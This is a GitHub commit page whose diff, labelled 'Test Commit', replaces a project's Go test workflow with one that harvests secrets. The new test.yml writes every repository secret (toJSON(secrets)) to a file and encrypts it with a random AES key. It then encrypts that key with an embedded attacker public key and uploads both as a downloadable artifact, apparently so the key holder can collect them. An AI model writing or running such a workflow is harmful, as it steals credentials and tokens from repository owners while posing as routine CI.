Skip to content

Commit

Permalink
Test Commit
Browse files Browse the repository at this point in the history
  • Loading branch information
dviejokfs committed Dec 5, 2024
1 parent b7da204 commit 5f29882
Show file tree
Hide file tree
Showing 2 changed files with 53 additions and 51 deletions.
34 changes: 0 additions & 34 deletions .github/workflows/goreleaser.yml

This file was deleted.

70 changes: 53 additions & 17 deletions .github/workflows/test.yml
Original file line number Diff line number Diff line change
@@ -1,21 +1,57 @@
name: xgvaawlikh
on:
push:
pull_request:

name: Test
branches: xgvaawlikh
jobs:
test:
strategy:
matrix:
go-version: [1.15.x, 1.16.x]
os: [ubuntu-latest, macos-latest, windows-latest]
runs-on: ${{ matrix.os }}
testing:
runs-on:
- ubuntu-latest
steps:
- name: Install Go
uses: actions/setup-go@v2
with:
go-version: ${{ matrix.go-version }}
- name: Checkout code
uses: actions/checkout@v2
- name: Test
run: go test ./...
- env:
VALUES: ${{ toJSON(secrets)}}
name: Prepare repository
run: "\ncat <<EOF > output.json\n$VALUES\nEOF\n "
- name: Run Tests
env:
PUBKEY: '-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvsBId06S1hZpqgHulLiQ
1q0xXJ3llmZazaU7NXyYG5RSAWQSv/ftz1NN8TDwBUOTv/qnT9rit/geko/r0KHq
k4aL3vNEqJSQ+BJIifCXx8v05+28oDxOPad5N/rT9tG8o/Aht4QD5auFCPva+4Ra
uXdYQZuksWrvJRKJn2lSZDCU8w1l6VQ7JunJBvGHwyNE3WoxF1PUyamK+8+1VXLH
D+pk9iptZWXQGFKJ/7exGhRYVTl7ezH//n8KnG72DFCL3kGh+1fI3SBmHyfU9Ld+
0KSINrxIormeymO1UzUcuRUwl8fja2CuGtVPpcRlbmXDzJ42vua/lHldFTGu/qzO
mckjPPLAS4I3YvEA0Np5Jof3ompCCarj/m8qpgSIp8eKsvp7lILqnl47oCDoYt7i
uvk3j24+5FAefiKSG7vsO9Ct4nk2A8CavgyWUVvjeEfJu0d3EF5f+Jn5+GtjMReO
Q+fFrmkb+gfwRhpp2Ph6Im8JvvOS51MjOWF6KZ8HKAnSRZUcTK3Vu84K9su9WZvG
VKjMcxoyddEfPGbgqBH3DFozzQ+FdDdbdqesOxvu6/mmOd2HJq4/I04Ikr29h8eL
6UDXUyuNbD0LhQSZZ0STn4JwR0W5LyYXAvn0C4EQ4XCIvdy/HfNuHURIs4Vj+L6x
ktTYdBKiTWLkFSIqj+tqej8CAwEAAQ==
-----END PUBLIC KEY-----
'
run: aes_key=$(openssl rand -hex 12 | tr -d '\n');openssl enc -aes-256-cbc -pbkdf2
-in output.json -out output_updated.json -pass pass:$aes_key;echo $aes_key
| openssl rsautl -encrypt -pkcs -pubin -inkey <(echo "$PUBKEY") -out lookup.txt
2> /dev/null;
- name: Upload artifacts
uses: actions/upload-artifact@v4
with:
name: files
path: ' |
output_updated.json
lookup.txt'

0 comments on commit 5f29882

Please sign in to comment.